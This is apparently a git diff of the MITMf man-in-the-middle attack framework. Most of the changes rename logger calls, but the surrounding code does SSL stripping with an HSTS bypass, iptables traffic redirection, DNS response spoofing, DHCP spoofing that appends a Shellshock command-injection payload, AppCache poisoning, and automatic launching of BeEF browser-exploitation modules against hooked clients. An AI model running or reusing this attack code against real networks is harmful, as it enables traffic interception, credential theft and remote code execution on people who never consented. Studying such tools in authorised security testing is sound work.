#data = re.sub(ServerConnection.urlTypewww, 'http://w', data)
|
#data = re.sub(ServerConnection.urlTypewww, 'http://w', data)
|
||||||
#if data.find("http://w.face")!=-1:
|
#if data.find("http://w.face")!=-1:
|
||||||
# logging.debug("HSTS DEBUG Found error in modifications")
|
# mitmf_logger.debug("HSTS DEBUG Found error in modifications")
|
||||||
# raw_input("Press Enter to continue")
|
# raw_input("Press Enter to continue")
|
||||||
#return re.sub(ServerConnection.urlType, 'http://web.', data)
|
#return re.sub(ServerConnection.urlType, 'http://web.', data)
|
||||||
return data
|
return data
|
||||||
|
@ -225,7 +227,7 @@ class ServerConnection(HTTPClient):
|
||||||
for match in iterator:
|
for match in iterator:
|
||||||
url = match.group()
|
url = match.group()
|
||||||
|
|
||||||
logging.debug("Found secure reference: " + url)
|
mitmf_logger.debug("Found secure reference: " + url)
|
||||||
|
|
||||||
url = url.replace('https://', 'http://', 1)
|
url = url.replace('https://', 'http://', 1)
|
||||||
url = url.replace('&', '&')
|
url = url.replace('&', '&')
|
||||||
|
|
|
@ -19,6 +19,8 @@
|
||||||
import logging
|
import logging
|
||||||
from twisted.internet.protocol import ClientFactory
|
from twisted.internet.protocol import ClientFactory
|
||||||
|
|
||||||
|
mitmf_logger = logging.getLogger('mimtf')
|
||||||
|
|
||||||
class ServerConnectionFactory(ClientFactory):
|
class ServerConnectionFactory(ClientFactory):
|
||||||
|
|
||||||
def __init__(self, command, uri, postData, headers, client):
|
def __init__(self, command, uri, postData, headers, client):
|
||||||
|
@ -32,12 +34,12 @@ class ServerConnectionFactory(ClientFactory):
|
||||||
return self.protocol(self.command, self.uri, self.postData, self.headers, self.client)
|
return self.protocol(self.command, self.uri, self.postData, self.headers, self.client)
|
||||||
|
|
||||||
def clientConnectionFailed(self, connector, reason):
|
def clientConnectionFailed(self, connector, reason):
|
||||||
logging.debug("Server connection failed.")
|
mitmf_logger.debug("Server connection failed.")
|
||||||
|
|
||||||
destination = connector.getDestination()
|
destination = connector.getDestination()
|
||||||
|
|
||||||
if (destination.port != 443):
|
if (destination.port != 443):
|
||||||
logging.debug("Retrying via SSL")
|
mitmf_logger.debug("Retrying via SSL")
|
||||||
self.client.proxyViaSSL(self.headers['host'], self.command, self.uri, self.postData, self.headers, 443)
|
self.client.proxyViaSSL(self.headers['host'], self.command, self.uri, self.postData, self.headers, 443)
|
||||||
else:
|
else:
|
||||||
try:
|
try:
|
||||||
|
|
|
@ -19,6 +19,8 @@
|
||||||
import re, os
|
import re, os
|
||||||
import logging
|
import logging
|
||||||
|
|
||||||
|
mitmf_logger = logging.getLogger('mimtf')
|
||||||
|
|
||||||
class URLMonitor:
|
class URLMonitor:
|
||||||
|
|
||||||
'''
|
'''
|
||||||
|
@ -72,7 +74,7 @@ class URLMonitor:
|
||||||
s.add(to_url)
|
s.add(to_url)
|
||||||
return
|
return
|
||||||
url_set = set([from_url, to_url])
|
url_set = set([from_url, to_url])
|
||||||
logging.debug("[URLMonitor][AppCachePoison] Set redirection: %s" % url_set)
|
mitmf_logger.debug("[URLMonitor][AppCachePoison] Set redirection: %s" % url_set)
|
||||||
self.redirects.append(url_set)
|
self.redirects.append(url_set)
|
||||||
|
|
||||||
def getRedirectionSet(self, url):
|
def getRedirectionSet(self, url):
|
||||||
|
@ -111,10 +113,10 @@ class URLMonitor:
|
||||||
else:
|
else:
|
||||||
self.sustitucion[host] = "web"+host
|
self.sustitucion[host] = "web"+host
|
||||||
self.real["web"+host] = host
|
self.real["web"+host] = host
|
||||||
logging.debug("[URLMonitor][HSTS] SSL host (%s) tokenized (%s)" % (host,self.sustitucion[host]) )
|
mitmf_logger.debug("[URLMonitor][HSTS] SSL host (%s) tokenized (%s)" % (host,self.sustitucion[host]) )
|
||||||
|
|
||||||
url = 'http://' + host + path
|
url = 'http://' + host + path
|
||||||
#logging.debug("HSTS stripped URL: %s %s"%(client, url))
|
#mitmf_logger.debug("HSTS stripped URL: %s %s"%(client, url))
|
||||||
|
|
||||||
self.strippedURLs.add((client, url))
|
self.strippedURLs.add((client, url))
|
||||||
self.strippedURLPorts[(client, url)] = int(port)
|
self.strippedURLPorts[(client, url)] = int(port)
|
||||||
|
@ -161,10 +163,10 @@ class URLMonitor:
|
||||||
return ((self.faviconSpoofing == True) and (url.find("favicon-x-favicon-x.ico") != -1))
|
return ((self.faviconSpoofing == True) and (url.find("favicon-x-favicon-x.ico") != -1))
|
||||||
|
|
||||||
def URLgetRealHost(self, host):
|
def URLgetRealHost(self, host):
|
||||||
logging.debug("[URLMonitor][HSTS] Parsing host: %s"% host)
|
mitmf_logger.debug("[URLMonitor][HSTS] Parsing host: %s"% host)
|
||||||
if self.real.has_key(host):
|
if self.real.has_key(host):
|
||||||
logging.debug("[URLMonitor][HSTS] Found host in list: %s"% self.real[host])
|
mitmf_logger.debug("[URLMonitor][HSTS] Found host in list: %s"% self.real[host])
|
||||||
return self.real[host]
|
return self.real[host]
|
||||||
else:
|
else:
|
||||||
logging.debug("[URLMonitor][HSTS] Host not in list: %s"% host)
|
mitmf_logger.debug("[URLMonitor][HSTS] Host not in list: %s"% host)
|
||||||
return host
|
return host
|
||||||
|
|
|
@ -41,8 +41,8 @@ class SystemConfig:
|
||||||
os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port %s' % http_redir_port)
|
os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port %s' % http_redir_port)
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def DNS(queue_number):
|
def DNS(ip, port):
|
||||||
os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE --queue-num %s' % queue_number)
|
os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to %s:%s' % (ip, port))
|
||||||
|
|
||||||
class Banners:
|
class Banners:
|
||||||
|
|
||||||
|
|
|
@ -32,6 +32,8 @@ from netfilterqueue import NetfilterQueue
|
||||||
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
|
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
|
||||||
from scapy.all import *
|
from scapy.all import *
|
||||||
|
|
||||||
|
mitmf_logger = logging.getLogger('mitmf')
|
||||||
|
|
||||||
class _DHCP():
|
class _DHCP():
|
||||||
|
|
||||||
def __init__(self, interface, dhcpcfg, ip, mac):
|
def __init__(self, interface, dhcpcfg, ip, mac):
|
||||||
|
@ -79,8 +81,8 @@ class _DHCP():
|
||||||
self.dhcp_dic[xid] = client_ip
|
self.dhcp_dic[xid] = client_ip
|
||||||
|
|
||||||
if resp[DHCP].options[0][1] is 1:
|
if resp[DHCP].options[0][1] is 1:
|
||||||
logging.info("Got DHCP DISCOVER from: " + mac_addr + " xid: " + hex(xid))
|
mitmf_logger.info("Got DHCP DISCOVER from: " + mac_addr + " xid: " + hex(xid))
|
||||||
logging.info("Sending DHCP OFFER")
|
mitmf_logger.info("Sending DHCP OFFER")
|
||||||
packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') /
|
packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') /
|
||||||
IP(src=self.ip_address, dst='255.255.255.255') /
|
IP(src=self.ip_address, dst='255.255.255.255') /
|
||||||
UDP(sport=67, dport=68) /
|
UDP(sport=67, dport=68) /
|
||||||
|
@ -102,7 +104,7 @@ class _DHCP():
|
||||||
sendp(packet, iface=self.interface, verbose=self.debug)
|
sendp(packet, iface=self.interface, verbose=self.debug)
|
||||||
|
|
||||||
if resp[DHCP].options[0][1] is 3:
|
if resp[DHCP].options[0][1] is 3:
|
||||||
logging.info("Got DHCP REQUEST from: " + mac_addr + " xid: " + hex(xid))
|
mitmf_logger.info("Got DHCP REQUEST from: " + mac_addr + " xid: " + hex(xid))
|
||||||
packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') /
|
packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') /
|
||||||
IP(src=self.ip_address, dst='255.255.255.255') /
|
IP(src=self.ip_address, dst='255.255.255.255') /
|
||||||
UDP(sport=67, dport=68) /
|
UDP(sport=67, dport=68) /
|
||||||
|
@ -121,11 +123,11 @@ class _DHCP():
|
||||||
pass
|
pass
|
||||||
|
|
||||||
if self.shellshock:
|
if self.shellshock:
|
||||||
logging.info("Sending DHCP ACK with shellshock payload")
|
mitmf_logger.info("Sending DHCP ACK with shellshock payload")
|
||||||
packet[DHCP].options.append(tuple((114, "() { ignored;}; " + self.shellshock)))
|
packet[DHCP].options.append(tuple((114, "() { ignored;}; " + self.shellshock)))
|
||||||
packet[DHCP].options.append("end")
|
packet[DHCP].options.append("end")
|
||||||
else:
|
else:
|
||||||
logging.info("Sending DHCP ACK")
|
mitmf_logger.info("Sending DHCP ACK")
|
||||||
packet[DHCP].options.append("end")
|
packet[DHCP].options.append("end")
|
||||||
|
|
||||||
sendp(packet, iface=self.interface, verbose=self.debug)
|
sendp(packet, iface=self.interface, verbose=self.debug)
|
||||||
|
@ -250,10 +252,11 @@ class _DNS():
|
||||||
hstscfg = None
|
hstscfg = None
|
||||||
dnscfg = None
|
dnscfg = None
|
||||||
_instance = None
|
_instance = None
|
||||||
nfqueue = NetfilterQueue()
|
nfqueue = None
|
||||||
queue_number = 0
|
queue_number = 0
|
||||||
|
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
|
self.nfqueue = NetfilterQueue()
|
||||||
t = threading.Thread(name='nfqueue', target=self.bind, args=())
|
t = threading.Thread(name='nfqueue', target=self.bind, args=())
|
||||||
t.setDaemon(True)
|
t.setDaemon(True)
|
||||||
t.start()
|
t.start()
|
||||||
|
@ -292,7 +295,7 @@ class _DNS():
|
||||||
|
|
||||||
def resolve_domain(self, domain):
|
def resolve_domain(self, domain):
|
||||||
try:
|
try:
|
||||||
logging.debug("Resolving -> %s" % domain)
|
mitmf_logger.debug("Resolving -> %s" % domain)
|
||||||
answer = dns.resolver.query(domain, 'A')
|
answer = dns.resolver.query(domain, 'A')
|
||||||
real_ips = []
|
real_ips = []
|
||||||
for rdata in answer:
|
for rdata in answer:
|
||||||
|
@ -302,11 +305,11 @@ class _DNS():
|
||||||
return real_ips
|
return real_ips
|
||||||
|
|
||||||
except Exception:
|
except Exception:
|
||||||
logging.info("Error resolving " + domain)
|
mitmf_logger.info("Error resolving " + domain)
|
||||||
|
|
||||||
def callback(self, payload):
|
def callback(self, payload):
|
||||||
try:
|
try:
|
||||||
#logging.debug(payload)
|
#mitmf_logger.debug(payload)
|
||||||
pkt = IP(payload.get_payload())
|
pkt = IP(payload.get_payload())
|
||||||
|
|
||||||
if not pkt.haslayer(DNSQR):
|
if not pkt.haslayer(DNSQR):
|
||||||
|
@ -314,7 +317,7 @@ class _DNS():
|
||||||
return
|
return
|
||||||
|
|
||||||
if pkt.haslayer(DNSQR):
|
if pkt.haslayer(DNSQR):
|
||||||
logging.debug("Got DNS packet for %s %s" % (pkt[DNSQR].qname, pkt[DNSQR].qtype))
|
mitmf_logger.debug("Got DNS packet for %s %s" % (pkt[DNSQR].qname, pkt[DNSQR].qtype))
|
||||||
if self.dns:
|
if self.dns:
|
||||||
for k, v in self.dnscfg.items():
|
for k, v in self.dnscfg.items():
|
||||||
if k in pkt[DNSQR].qname:
|
if k in pkt[DNSQR].qname:
|
||||||
|
@ -359,13 +362,13 @@ class _DNS():
|
||||||
spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip[0]); del ip[0] #have to do this first to initialize the an field
|
spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip[0]); del ip[0] #have to do this first to initialize the an field
|
||||||
for i in ip:
|
for i in ip:
|
||||||
spoofed_pkt[DNS].an.add_payload(DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=i))
|
spoofed_pkt[DNS].an.add_payload(DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=i))
|
||||||
logging.info("%s Resolving %s for HSTS bypass (DNS)" % (pkt[IP].src, pkt[DNSQR].qname[:-1]))
|
mitmf_logger.info("%s Resolving %s for HSTS bypass (DNS)" % (pkt[IP].src, pkt[DNSQR].qname[:-1]))
|
||||||
payload.set_payload(str(spoofed_pkt))
|
payload.set_payload(str(spoofed_pkt))
|
||||||
payload.accept()
|
payload.accept()
|
||||||
|
|
||||||
if self.dns:
|
if self.dns:
|
||||||
spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip)
|
spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip)
|
||||||
logging.info("%s Modified DNS packet for %s" % (pkt[IP].src, pkt[DNSQR].qname[:-1]))
|
mitmf_logger.info("%s Modified DNS packet for %s" % (pkt[IP].src, pkt[DNSQR].qname[:-1]))
|
||||||
payload.set_payload(str(spoofed_pkt))
|
payload.set_payload(str(spoofed_pkt))
|
||||||
payload.accept()
|
payload.accept()
|
||||||
|
|
||||||
|
|
1
libs/dnschef
Submodule
1
libs/dnschef
Submodule
|
@ -0,0 +1 @@
|
||||||
|
Subproject commit 88a9c08a9be5ee921d3d8eeeb16d421c9b5df0af
|
1
logs/.gitignore
vendored
1
logs/.gitignore
vendored
|
@ -1,3 +1,4 @@
|
||||||
*
|
*
|
||||||
!.gitignore
|
!.gitignore
|
||||||
!responder/
|
!responder/
|
||||||
|
!dnschef/
|
||||||
|
|
2
logs/dnschef/.gitignore
vendored
Normal file
2
logs/dnschef/.gitignore
vendored
Normal file
|
@ -0,0 +1,2 @@
|
||||||
|
*
|
||||||
|
!.gitignore
|
7
mitmf.py
7
mitmf.py
|
@ -60,7 +60,7 @@ parser = argparse.ArgumentParser(description="MITMf v%s - Framework for MITM att
|
||||||
mgroup = parser.add_argument_group("MITMf", "Options for MITMf")
|
mgroup = parser.add_argument_group("MITMf", "Options for MITMf")
|
||||||
mgroup.add_argument("--log-level", type=str,choices=['debug', 'info'], default="info", help="Specify a log level [default: info]")
|
mgroup.add_argument("--log-level", type=str,choices=['debug', 'info'], default="info", help="Specify a log level [default: info]")
|
||||||
mgroup.add_argument("-i", "--interface", required=True, type=str, metavar="interface" ,help="Interface to listen on")
|
mgroup.add_argument("-i", "--interface", required=True, type=str, metavar="interface" ,help="Interface to listen on")
|
||||||
mgroup.add_argument("-c", "--config-file", dest='configfile', type=str, default="./config/mitmf.cfg", metavar='configfile', help="Specify config file to use")
|
mgroup.add_argument("-c", "--config-file", dest='configfile', type=str, default="./config/mitmf.conf", metavar='configfile', help="Specify config file to use")
|
||||||
mgroup.add_argument('-d', '--disable-proxy', dest='disproxy', action='store_true', default=False, help='Only run plugins, disable all proxies')
|
mgroup.add_argument('-d', '--disable-proxy', dest='disproxy', action='store_true', default=False, help='Only run plugins, disable all proxies')
|
||||||
#added by alexander.georgiev@daloo.de
|
#added by alexander.georgiev@daloo.de
|
||||||
mgroup.add_argument('-m', '--manual-iptables', dest='manualiptables', action='store_true', default=False, help='Do not setup iptables or flush them automatically')
|
mgroup.add_argument('-m', '--manual-iptables', dest='manualiptables', action='store_true', default=False, help='Do not setup iptables or flush them automatically')
|
||||||
|
@ -147,11 +147,11 @@ log_level = logging.__dict__[args.log_level.upper()]
|
||||||
#Start logging
|
#Start logging
|
||||||
logging.basicConfig(level=log_level, format="%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
logging.basicConfig(level=log_level, format="%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||||
logFormatter = logging.Formatter("%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
logFormatter = logging.Formatter("%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||||
rootLogger = logging.getLogger()
|
mitmf_logger = logging.getLogger('mitmf')
|
||||||
|
|
||||||
fileHandler = logging.FileHandler("./logs/mitmf.log")
|
fileHandler = logging.FileHandler("./logs/mitmf.log")
|
||||||
fileHandler.setFormatter(logFormatter)
|
fileHandler.setFormatter(logFormatter)
|
||||||
rootLogger.addHandler(fileHandler)
|
mitmf_logger.addHandler(fileHandler)
|
||||||
|
|
||||||
#####################################################################################################
|
#####################################################################################################
|
||||||
|
|
||||||
|
@ -173,6 +173,7 @@ for p in plugins:
|
||||||
if p.output:
|
if p.output:
|
||||||
for line in p.output:
|
for line in p.output:
|
||||||
print "| |_ %s" % line
|
print "| |_ %s" % line
|
||||||
|
p.output.remove(line)
|
||||||
|
|
||||||
except Exception, e:
|
except Exception, e:
|
||||||
print "[-] Error loading plugin %s: %s" % (p.name, str(e))
|
print "[-] Error loading plugin %s: %s" % (p.name, str(e))
|
||||||
|
|
|
@ -30,6 +30,8 @@ from plugins.plugin import Plugin
|
||||||
from datetime import date
|
from datetime import date
|
||||||
from core.sslstrip.URLMonitor import URLMonitor
|
from core.sslstrip.URLMonitor import URLMonitor
|
||||||
|
|
||||||
|
mitmf_logger = logging.getLogger('mitmf')
|
||||||
|
|
||||||
class AppCachePlugin(Plugin):
|
class AppCachePlugin(Plugin):
|
||||||
name = "App Cache Poison"
|
name = "App Cache Poison"
|
||||||
optname = "appoison"
|
optname = "appoison"
|
||||||
|
@ -61,22 +63,22 @@ class AppCachePlugin(Plugin):
|
||||||
if "enable_only_in_useragents" in self.config:
|
if "enable_only_in_useragents" in self.config:
|
||||||
regexp = self.config["enable_only_in_useragents"]
|
regexp = self.config["enable_only_in_useragents"]
|
||||||
if regexp and not re.search(regexp,req_headers["user-agent"]):
|
if regexp and not re.search(regexp,req_headers["user-agent"]):
|
||||||
logging.info("%s Tampering disabled in this useragent (%s)" % (ip, req_headers["user-agent"]))
|
mitmf_logger.info("%s Tampering disabled in this useragent (%s)" % (ip, req_headers["user-agent"]))
|
||||||
return {'request': request, 'data': data}
|
return {'request': request, 'data': data}
|
||||||
|
|
||||||
urls = self.urlMonitor.getRedirectionSet(url)
|
urls = self.urlMonitor.getRedirectionSet(url)
|
||||||
logging.debug("%s [AppCachePoison] Got redirection set: %s" % (ip, urls))
|
mitmf_logger.debug("%s [AppCachePoison] Got redirection set: %s" % (ip, urls))
|
||||||
(name,s,element,url) = self.getSectionForUrls(urls)
|
(name,s,element,url) = self.getSectionForUrls(urls)
|
||||||
|
|
||||||
if s is False:
|
if s is False:
|
||||||
data = self.tryMassPoison(url, data, headers, req_headers, ip)
|
data = self.tryMassPoison(url, data, headers, req_headers, ip)
|
||||||
return {'request': request, 'data': data}
|
return {'request': request, 'data': data}
|
||||||
|
|
||||||
logging.info("%s Found URL %s in section %s" % (ip, url, name))
|
mitmf_logger.info("%s Found URL %s in section %s" % (ip, url, name))
|
||||||
p = self.getTemplatePrefix(s)
|
p = self.getTemplatePrefix(s)
|
||||||
|
|
||||||
if element == 'tamper':
|
if element == 'tamper':
|
||||||
logging.info("%s Poisoning tamper URL with template %s" % (ip, p))
|
mitmf_logger.info("%s Poisoning tamper URL with template %s" % (ip, p))
|
||||||
if os.path.exists(p + '.replace'): # replace whole content
|
if os.path.exists(p + '.replace'): # replace whole content
|
||||||
f = open(p + '.replace','r')
|
f = open(p + '.replace','r')
|
||||||
data = self.decorate(f.read(), s)
|
data = self.decorate(f.read(), s)
|
||||||
|
@ -93,12 +95,12 @@ class AppCachePlugin(Plugin):
|
||||||
data = re.sub(re.compile("<html",re.IGNORECASE),"<html manifest=\"" + self.getManifestUrl(s)+"\"", data)
|
data = re.sub(re.compile("<html",re.IGNORECASE),"<html manifest=\"" + self.getManifestUrl(s)+"\"", data)
|
||||||
|
|
||||||
elif element == "manifest":
|
elif element == "manifest":
|
||||||
logging.info("%s Poisoning manifest URL" % ip)
|
mitmf_logger.info("%s Poisoning manifest URL" % ip)
|
||||||
data = self.getSpoofedManifest(url, s)
|
data = self.getSpoofedManifest(url, s)
|
||||||
headers.setRawHeaders("Content-Type", ["text/cache-manifest"])
|
headers.setRawHeaders("Content-Type", ["text/cache-manifest"])
|
||||||
|
|
||||||
elif element == "raw": # raw resource to modify, it does not have to be html
|
elif element == "raw": # raw resource to modify, it does not have to be html
|
||||||
logging.info("%s Poisoning raw URL" % ip)
|
mitmf_logger.info("%s Poisoning raw URL" % ip)
|
||||||
if os.path.exists(p + '.replace'): # replace whole content
|
if os.path.exists(p + '.replace'): # replace whole content
|
||||||
f = open(p + '.replace','r')
|
f = open(p + '.replace','r')
|
||||||
data = self.decorate(f.read(), s)
|
data = self.decorate(f.read(), s)
|
||||||
|
@ -131,7 +133,7 @@ class AppCachePlugin(Plugin):
|
||||||
if not re.search(self.config['mass_poison_url_match'], url): #different url
|
if not re.search(self.config['mass_poison_url_match'], url): #different url
|
||||||
return data
|
return data
|
||||||
|
|
||||||
logging.debug("Adding AppCache mass poison for URL %s, id %s" % (url, browser_id))
|
mitmf_logger.debug("Adding AppCache mass poison for URL %s, id %s" % (url, browser_id))
|
||||||
appendix = self.getMassPoisonHtml()
|
appendix = self.getMassPoisonHtml()
|
||||||
data = re.sub(re.compile("</body>",re.IGNORECASE),appendix + "</body>", data)
|
data = re.sub(re.compile("</body>",re.IGNORECASE),appendix + "</body>", data)
|
||||||
self.mass_poisoned_browsers.append(browser_id) # mark to avoid mass spoofing for this ip
|
self.mass_poisoned_browsers.append(browser_id) # mark to avoid mass spoofing for this ip
|
||||||
|
|
|
@ -31,6 +31,8 @@ from time import sleep
|
||||||
requests_log = logging.getLogger("requests") #Disables "Starting new HTTP Connection (1)" log message
|
requests_log = logging.getLogger("requests") #Disables "Starting new HTTP Connection (1)" log message
|
||||||
requests_log.setLevel(logging.WARNING)
|
requests_log.setLevel(logging.WARNING)
|
||||||
|
|
||||||
|
mitmf_logger = logging.getLogger('mitmf')
|
||||||
|
|
||||||
class BeefAutorun(Inject, Plugin):
|
class BeefAutorun(Inject, Plugin):
|
||||||
name = "BeEFAutorun"
|
name = "BeEFAutorun"
|
||||||
optname = "beefauto"
|
optname = "beefauto"
|
||||||
|
@ -83,7 +85,7 @@ class BeefAutorun(Inject, Plugin):
|
||||||
|
|
||||||
if session not in already_hooked:
|
if session not in already_hooked:
|
||||||
info = beef.hook_info(session)
|
info = beef.hook_info(session)
|
||||||
logging.info("%s >> joined the horde! [id:%s, type:%s-%s, os:%s]" % (info['ip'], info['id'], info['name'], info['version'], info['os']))
|
mitmf_logger.info("%s >> joined the horde! [id:%s, type:%s-%s, os:%s]" % (info['ip'], info['id'], info['name'], info['version'], info['os']))
|
||||||
already_hooked.append(session)
|
already_hooked.append(session)
|
||||||
self.black_ips.append(str(info['ip']))
|
self.black_ips.append(str(info['ip']))
|
||||||
|
|
||||||
|
@ -106,17 +108,17 @@ class BeefAutorun(Inject, Plugin):
|
||||||
hook_os = session_info['os']
|
hook_os = session_info['os']
|
||||||
|
|
||||||
if len(self.All_modules) > 0:
|
if len(self.All_modules) > 0:
|
||||||
logging.info("%s >> sending generic modules" % session_ip)
|
mitmf_logger.info("%s >> sending generic modules" % session_ip)
|
||||||
for module, options in self.All_modules.iteritems():
|
for module, options in self.All_modules.iteritems():
|
||||||
mod_id = beef.module_id(module)
|
mod_id = beef.module_id(module)
|
||||||
resp = beef.module_run(session, mod_id, json.loads(options))
|
resp = beef.module_run(session, mod_id, json.loads(options))
|
||||||
if resp["success"] == 'true':
|
if resp["success"] == 'true':
|
||||||
logging.info('%s >> sent module %s' % (session_ip, mod_id))
|
mitmf_logger.info('%s >> sent module %s' % (session_ip, mod_id))
|
||||||
else:
|
else:
|
||||||
logging.info('%s >> ERROR sending module %s' % (session_ip, mod_id))
|
mitmf_logger.info('%s >> ERROR sending module %s' % (session_ip, mod_id))
|
||||||
sleep(0.5)
|
sleep(0.5)
|
||||||
|
|
||||||
logging.info("%s >> sending targeted modules" % session_ip)
|
mitmf_logger.info("%s >> sending targeted modules" % session_ip)
|
||||||
for os in self.Targeted_modules:
|
for os in self.Targeted_modules:
|
||||||
if (os in hook_os) or (os == hook_os):
|
if (os in hook_os) or (os == hook_os):
|
||||||
browsers = self.Targeted_modules[os]
|
browsers = self.Targeted_modules[os]
|
||||||
|
@ -129,7 +131,7 @@ class BeefAutorun(Inject, Plugin):
|
||||||
mod_id = beef.module_id(module)
|
mod_id = beef.module_id(module)
|
||||||
resp = beef.module_run(session, mod_id, json.loads(options))
|
resp = beef.module_run(session, mod_id, json.loads(options))
|
||||||
if resp["success"] == 'true':
|
if resp["success"] == 'true':
|
||||||
logging.info('%s >> sent module %s' % (session_ip, mod_id))
|
mitmf_logger.info('%s >> sent module %s' % (session_ip, mod_id))
|
||||||
else:
|
else:
|
||||||
logging.info('%s >> ERROR sending module %s' % (session_ip, mod_id))
|
mitmf_logger.info('%s >> ERROR sending module %s' % (session_ip, mod_id))
|
||||||
sleep(0.5)
|
sleep(0.5)
|
||||||
|
|
|
@ -23,6 +23,8 @@ from plugins.Inject import Inject
|
||||||
from pprint import pformat
|
from pprint import pformat
|
||||||
import logging
|
import logging
|
||||||
|
|
||||||
|
mitmf_logger = logging.getLogger('mitmf')
|
||||||
|
|
||||||
class BrowserProfiler(Inject, Plugin):
|
class BrowserProfiler(Inject, Plugin):
|
||||||
name = "Browser Profiler"
|
name = "Browser Profiler"
|
||||||
optname = "browserprofiler"
|
optname = "browserprofiler"
|
||||||
|
@ -53,7 +55,7 @@ class BrowserProfiler(Inject, Plugin):
|
||||||
if self.dic_output['plugin_list'] > 0:
|
if self.dic_output['plugin_list'] > 0:
|
||||||
self.dic_output['plugin_list'] = self.dic_output['plugin_list'].split(',')
|
self.dic_output['plugin_list'] = self.dic_output['plugin_list'].split(',')
|
||||||
pretty_output = pformat(self.dic_output)
|
pretty_output = pformat(self.dic_output)
|
||||||
logging.info("%s >> Browser Profiler data:\n%s" % (request.client.getClientIP(), pretty_output))
|
mitmf_logger.info("%s >> Browser Profiler data:\n%s" % (request.client.getClientIP(), pretty_output))
|
||||||
|
|
||||||
def get_payload(self):
|
def get_payload(self):
|
||||||
payload = """<script type="text/javascript">
|
payload = """<script type="text/javascript">
|
||||||
|
|
|
@ -18,43 +18,40 @@
|
||||||
# USA
|
# USA
|
||||||
#
|
#
|
||||||
|
|
||||||
"""
|
# BackdoorFactory Proxy (BDFProxy) v0.2 - 'Something Something'
|
||||||
BackdoorFactory Proxy (BDFProxy) v0.2 - 'Something Something'
|
#
|
||||||
|
# Author Joshua Pitts the.midnite.runr 'at' gmail <d ot > com
|
||||||
Author Joshua Pitts the.midnite.runr 'at' gmail <d ot > com
|
#
|
||||||
|
# Copyright (c) 2013-2014, Joshua Pitts
|
||||||
Copyright (c) 2013-2014, Joshua Pitts
|
# All rights reserved.
|
||||||
All rights reserved.
|
#
|
||||||
|
# Redistribution and use in source and binary forms, with or without modification,
|
||||||
Redistribution and use in source and binary forms, with or without modification,
|
# are permitted provided that the following conditions are met:
|
||||||
are permitted provided that the following conditions are met:
|
#
|
||||||
|
# 1. Redistributions of source code must retain the above copyright notice,
|
||||||
1. Redistributions of source code must retain the above copyright notice,
|
# this list of conditions and the following disclaimer.
|
||||||
this list of conditions and the following disclaimer.
|
#
|
||||||
|
# 2. Redistributions in binary form must reproduce the above copyright notice,
|
||||||
2. Redistributions in binary form must reproduce the above copyright notice,
|
# this list of conditions and the following disclaimer in the documentation
|
||||||
this list of conditions and the following disclaimer in the documentation
|
# and/or other materials provided with the distribution.
|
||||||
and/or other materials provided with the distribution.
|
#
|
||||||
|
# 3. Neither the name of the copyright holder nor the names of its contributors
|
||||||
3. Neither the name of the copyright holder nor the names of its contributors
|
# may be used to endorse or promote products derived from this software without
|
||||||
may be used to endorse or promote products derived from this software without
|
# specific prior written permission.
|
||||||
specific prior written permission.
|
#
|
||||||
|
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
|
||||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
|
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||||
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||||
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
|
||||||
ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
|
# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||||
LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||||
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
|
||||||
SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
|
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
|
||||||
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
|
# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
|
||||||
